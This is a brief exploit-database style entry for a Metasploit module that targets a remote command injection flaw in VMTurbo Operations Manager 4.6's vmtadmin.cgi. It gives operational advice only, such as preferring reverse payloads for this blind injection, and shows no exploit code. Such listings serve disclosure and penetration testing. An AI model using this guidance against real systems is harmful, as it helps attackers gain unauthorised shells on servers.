VMTurbo Operations Manager 4.6 – ‘vmtadmin.cgi’ Remote Command Execution (Metasploit)

Use reverse payloads for the most reliable results. Since it is a blind OS command injection vulnerability, there is no output for the executed command when using the cmd generic payload. Port binding payloads are disregarded due to the restrictive firewall settings.
